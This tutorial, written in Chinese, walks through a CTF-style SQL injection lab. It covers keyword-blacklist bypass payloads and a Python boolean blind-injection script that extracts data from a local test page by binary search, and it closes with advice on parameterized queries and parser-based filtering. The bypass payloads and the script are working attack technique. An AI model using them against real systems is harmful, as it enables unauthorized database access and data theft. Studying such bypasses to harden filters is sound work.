很多安全方面的朋友第一次听说“Hack World”,多半是因为看到别人在刷 SQL 注入题,弹出了一个带过滤的注入靶场,然后发现常规的or 1=1、union select全都不好使。这个项目的核心训练点,就是在数据库和程序之间包了一层“关键词过滤器”之后,怎么继续使用布尔盲注拿到想要的数据。“绕过”两个字听起来玄乎,但拆开看就是把 SQL 语义重新用过滤器认不出的方式写出来。这篇文章不会把你带到任何不属于你的系统上,而是把整套思路放在一个本地隔离靶场里复现,适合正在学 Web 安全、准备 CTF 培训,或者工作中需要评估 WAF 规则的开发与测试同学。
1. 项目拆解:过滤器到底在拦什么
1.1 黑名单过滤与注入的本质博弈
这类靶场的过滤器,和很多企业 WAF 的核心逻辑没有本质区别:维护一个关键词黑名单,只要请求参数里命中名单就拒绝放行。黑名单常见的内容包括or、and、union、select、sleep、#、--、空格、单引号等。思路很直白:你把这些特征堵死,我总不能再注入了吧。
问题在于,SQL 的语义表达空间远远大于 Rely 上我们直觉里能列完的那几个字符串。数据库解析器会把 SQL 文本转换成一棵语法树再执行,而 WAF 和过滤器大多只做文本正则匹配。只要攻击者构造出的文本在正则层面不命中,而数据库解析后语义不变,绕过就成立了。这就是“匹配与解析之间永远存在缝隙”的根本原因。
Hack World 这类训练题,恰好把这种缝隙摆到台面上。它不是模拟一台仿真业务系统,而是故意设置成“你猜我过滤了什么、你换什么写法能继续跑通”的猜谜现场。跑通一道题,涉及的往往不是单一技巧,而是 关键词替换、注释切词、URL 编码、运算符置换、盲注速率控制 这些能力的组合。
1.2 在什么前提下复现这个项目
我的建议是,先从本地环境开始。用某个教学用虚拟机或者容器,把一个简单的 PHP+MySQL 页面放在 8080 端口,里面带一张 flag 表,然后参照常见过滤规则写一个中间函数,把or、and、union、select、空格、#拦截掉。这样你做的所有实验都没离开自己的机器,也能完整观察请求到了数据库之后发生了什么。
做完一轮之后,你可以得到一个比较扎实的手感:过滤器到底在哪个环节生效,正则写成什么样会被绕过,盲注脚本怎么设计才能稳定传输数据。对应到真实场景中,就是你去评估一个 WAF 规则是否真的有效,以及开发人员写参数化查询时为什么不能只靠“过滤加得够多”。
2. 经典过滤规则与绕过思路拆解
2.1 探测过滤规则的三个关键维度
拿到一个带过滤的注入点时,不要急着写盲注脚本,先把目标当一次“小实验”来观测。需要摸清三个维度:过滤器是否先做大小写归一化、是否解码后再匹配、是否丢弃注释与空白。
- 大小写归一化:如果数据先进了
strtolower或mb_strtolower,那么Or、oR一样会被拦。这时靠大小写混写就行不通了。 - URL 解码顺序:有的过滤器先匹配,再交给 Web 容器解析。此时
%6f%72可能在过滤层不命中,但到了后端被还原成or。反过来,后端框架如果先解码后再过滤,那编码绕过就会失效。 - 空白字符处理:匹配是否包含
\s通配符,决定你能不能使用%09、%0b甚至注释符来代替空格。
一个典型的探测流程是:先用id=1看正常响应,再用id=1'看异常回显,确认存在注入点。紧接着提交id=1' or 1=1 %23看是否被拦,如果被拦,再换成id=1' || 1=1 %23、id=1'%6f%72%201=1%23、id=1'/**/or/**/1=1%23,记录哪一组能产生与正常请求一致的结果。这个表格可以直接填在自己的测试笔记里。
| 探测输入 | 响应特征 | 推断结论 |
|---|---|---|
1' | 返回错误或空白 | 存在字符型注入 |
1' or 1=1 %23 | 被过滤提示 | or或空格被黑名单命中 |
| `1' | 1=1 %23` | |
1'%09or%091=1%23 | 被过滤提示 | 过滤器能识别编码或空白 |
1'/**/or/**/1=1%23 | 正常回显 | 注释符可替代空格 |
2.2 运算符与函数替代的语义等价
黑名单无论如何列,都不可能覆盖 SQL 里所有表达“真”与“假”的手段。比如or被禁,你可以用||或按位异或^达到布尔逻辑效果;and被禁,你可以用&&代替。等号被禁,可以用in、like、regexp、<>构造不等关系。用if()函数也可以替换一部分条件判断。
绕过本身,本质上不是“魔术”,而是“同义替换”。在 MySQL 里ascii(substr(database(),1,1))>100和ord(mid(database(),1,1))>100是同一个条件。如果你选一个字符集,比如_、@,它们也可能有特殊含义。这类等价关系越多,越不需要依赖暴力撞 name。
常见的替换关系可以用一张表总结:
| 被过滤的写法 | 可尝试的替代 | 原理 |
|---|---|---|
or 1=1 | ` | |
and 1=1 | &&1=1 | &&等价逻辑与 |
= | >0或in(0) | 构造大小比较表达式 |
substr | mid、right、left | MySQL 字符串函数冗余 |
select | sel/**/ect | MySQL 允许关键字中间插注释 |
| 空格 | /**/、%0a | 词法分析按注释或换行分词 |
2.3 过滤规则盲区:注释词法
过滤器处理注释符的时候往往会陷入一个两难局面:如果把/**/全部过滤,会影响正常业务吗?所以很多黑名单会漏掉它。而在 MySQL 词法规则中,sel/**/ect会被解析器直接看作select。其中原理是 MySQL 的词法扫描器在遇到注释时会正常跳过,随后把sel、ect拼接成一个 token。
这意味着一个文本正则必须同时处理“关键字内嵌注释”和“关键字之间的空白”,一旦它没做到,就漏出了大片空间。对防守方来说,这是经典教训:简单关键词过滤根本不够,必须靠数据库语法解析级别去识别非法结构。
3. 用 Python 自动化盲注脚本的设计与实现
3.1 先把靶场场景固定下来
我在这次项目里搭建了一个非常轻量的本地靶场页面,URL 固定为http://127.0.0.1:8080/index.php。访问?id=1返回包含“Hello”的正常页面,?id=2返回不包含“Hello”的另一个页面。数据库里放了一张表,里面有一个字段存的就是目标字符串。过滤器很“凶”,把所有常见关键词和空格、or/and/union/select全部屏蔽。
这种设定下,首选的自动注入方式是布尔盲注。不是因为它比报错注入快,而是因为它只需要一个可观测的“ON/OFF 差异”,受过滤影响面最小。我们通过构造条件判断结果,再用二分搜索逐字符解出目标字符串。
3.2 响应判断函数
先用一个函数固定请求发送逻辑。请求正常与否完全由响应里是否出现某个特征字符串决定。如果条件成立,页面返回特征;条件不成立,内容体发生改变。脚本只需要关心这种差异。
import requests BASE_URL = "http://127.0.0.1:8080/index.php" FEATURE = "Hello" def is_true(condition: str) -> bool: """ 执行一个布尔条件表达式,返回 True/False。 condition 里不要加参数化的语法,只放表达式本身。 例如:ascii(substr(database(),1,1))>100 """ payload = f"1' && ({condition}) %23" # 改成符合自己靶场过滤习惯的写法,这里演示用 && 代替 and r = requests.get(BASE_URL, params={"id": payload}, timeout=6) return FEATURE in r.text返回内容里的%23会被 URL 解码成#,用来注释掉后面的 SQL 片段。&&是逻辑与过滤器的替换方案。如果靶场把&&也过滤了,可以继续换按位与&或者直接复用注释拼接。这里的核心是,所有可变的部分都要尽量独立出来,方便专门调试。
3.3 用二分法确定目标长度
先确定目标字符串的长度。思路是从一个估算上限向下二分:向数据库询问“长度大于 mid 吗”,根据条件真伪收敛区间。如果返回真,说明目标长度一定大于当前 mid,把左边界抬上去;否则把右边界压下来。
def get_length(max_len: int = 100) -> int: low, high = 1, max_len while low <= high: mid = (low + high) // 2 # 条件:目标字段的字符长度大于 mid if is_true(f"length(flag_text())>{mid}"): low = mid + 1 else: high = mid - 1 return low重点不是length(flag_text()),这是个占位写法。真正用时换成length(目标列名)。如果列名本身也经过黑名单过滤,可以再用列名拼接的方式把字符拆开,但我在这次实验里先假设过滤规则没有针对列名做字典式匹配。二分法能把原本需要逐个猜的数字范围从 100 次压缩到 8 次,体感非常明显。
3.4 逐字符二分爆破
字符爆破的原理也一样。对每一位,我先假设它的 ASCII 值范围是 32 到 127,在这个范围内做二分比较。只要条件ascii(substr(target, position, 1)) > mid成立,就把搜索范围往大值一侧移动;否则往小值一侧收缩。
import string def get_char(pos: int) -> str: low, high = 32, 127 while low < high: mid = (low + high) // 2 condition = f"ascii(substr(flag_text(),{pos},1))>{mid}" if is_true(condition): low = mid + 1 else: high = mid return chr(low) def extract_target(): length = get_length() result = [] for i in range(1, length + 1): result.append(get_char(i)) print(f"[*] progress: {''.join(result)}") return "".join(result)脚本写的都是最直觉的版本,刻意没有用任何复杂抽象的库。它胜过 sqlmap 的地方在于,你能直接观察每一步的网络请求和判断逻辑,能把手感练出来。如果想在真实练习里提速,可以把“每字符依次求 ASCII”改成“适应字典优先猜测”,但那是优化阶段的事,不是理解阶段的事。
4. 实操中踩过的坑与排查实录
4.1 空格被过滤导致所有请求失效
我第一次把脚本跑起来时,is_true里写了1' and (ascii(...)) #,结果一会儿正常一会儿异常,但很快稳定地全部失效。排查后发现过滤规则把空格直接裁掉,造成数据库解析出来的语句变成了一个连续的 token,SQL 语法直接崩了。
解决办法很简单:把空格换成/**/注释符。只要注释符不在黑名单里,数据库看这段在线:
1'/**/&&/**/(ascii(substr(...)))%23所以第一次跑自动脚本前,先手工至少验证一个条件为什么成立,不要直接跑循环。要不然你会花很多时间刷页面,其实只是过滤方式和你预想的不一样。
4.2 大小写攻击失效的误判
一开始我习惯性用Or、And试绕过,结果发现也被拦截了。后来在过滤器里看到它对输入先执行了一次strtolower,所以大小写混合方案完全无用。这时候真正有效的,是注释切开关键字,以及使用&&、||这类黑名单没覆盖的 token。
这里有一个排查经验:手动对比请求和正常请求的响应差异不要太着急。把过滤器唯一处理的入口函数拉出来看几十行,通常都比盲猜高效。
4.3 响应特征选择要稳定
布尔盲注的准确性高度依赖“特征串”的稳定性。如果正常页面的Hello会随机出现在页面其他位置,或者页面里本身带着动态的标签,条件判断就可能误报。我的建议是找一个不会出现在错误页面的静态文字,并且最好在一个页面上多抓一个特征做交叉验证。
用 Python 的requests时,还要注意编码问题。页面可能不会在 header 里声明utf-8,默认读取可能变成latin1,导致你判断的字符串根本对不上。建议用r.encoding = "utf-8"或在请求头里限定期望编码,避免把â这类乱码当特征。
5. 从“绕过”回到防御:真正重要的落地结论
5.1 参数化查询为什么是最终解法
做完整套实验后,最不应该是拿着脚本继续刷题,而是重新理解“为什么参数化查询可以让整个绕过体系失效”。参数化查询在数据库端被编译成固定模板,用户输入只作为数据传递,而不是作为 SQL 模板的一部分。这意味着即便你拿到一个完整字符串,能彻底绕过 WAF,数据库端也不会把这段文本拼进语法结构里。
在开发侧,正确的姿势是使用数据库驱动自带的预处理接口。可以这样理解:SQL 语句是富字符串,数据库先编译出结构,然后在执行阶段把你给的数据填进指定的变量槽。既然填进去的是数据,永远不可能变成新的查询单元,注入自然失效了。
5.2 黑名单之外,白名单和语义化检测更可靠
所有黑名单项目最终都会被绕过,因为它是一种否决制思路:你永远不知道攻击者还有多少变体。更好的防御设计是白名单加语义化检测。对数字型参数先校验“是不是纯整数”,再拼接;对字符串型参数走预处理并限制长度;在数据库层对输入实现类型约束。WAF 如果要做,也应该基于 SQL 词法解析,判断是否含有“非预期的高危结构”,而不是只做关键词命中。
比如同样一个请求,黑名单只识别or,那么加了一个字符就逃过一劫。语义化检测的表层逻辑不一样,它在把 SQL 真正解析成语法树后,检查是否存在两个连续相邻的条件表达式、异常联结、或危险函数调用,难度高一个量级。
5.3 学习绕过的真正价值
很多新人学绕过时容易被“酷”吸引,觉得能绕过就是技术高。实际上,掌握绕过之后最该获得的不是动手打别人的能力,而是给自己系统做加固时那种“举一反三”的感知力。你写完这条路,再看代码里那些简单拼接 SQL 的场景,会非常有画面感:这里会被空格绕、那里会被交换词绕过,得赶紧改成预处理。
我把这次实验完整跑完后的感觉,不是“我成功绕过了”,而是“我明白了黑名单这种防御到底多脆”。如果你能在写代码时也保持这种感知,就能在企业里做出真正有效的防护策略。
6. 后续可以往哪几个方向扩展
如果还想在这个方向深挖,可以考虑把这套布尔盲注脚本升级成时间盲注版本。过滤对sleep拦得死,不代表不能找到同等效果的延时函数。你可能会用到benchmark、笛卡尔积乘法,甚至是复杂子查询重复执行。不过所有实验依然建议放在自己能控制的隔离环境里进行。
另一个方向是通过 tamper 思路维护自己的 payload 字典。每遇到一种过滤规则,就把对应绕过方式记录进去,积累成一套私有自动化 Fuzz 脚本。这样以后遇到新的 WAF 规则,先跑几分钟字典,就能知道过滤器的薄弱点在哪。这比临时看列表、凭感觉猜字符串高效得多。
最后一个小建议:如果你也准备写同样主题的分享文章,不要把完整靶场地址或真实业务地址放出来,更不要在公网测试任何非明确授权目标。把项目按“本地靶场 + Python 布尔盲注”这条主轴展开,既保留技术成色,又守住了边界。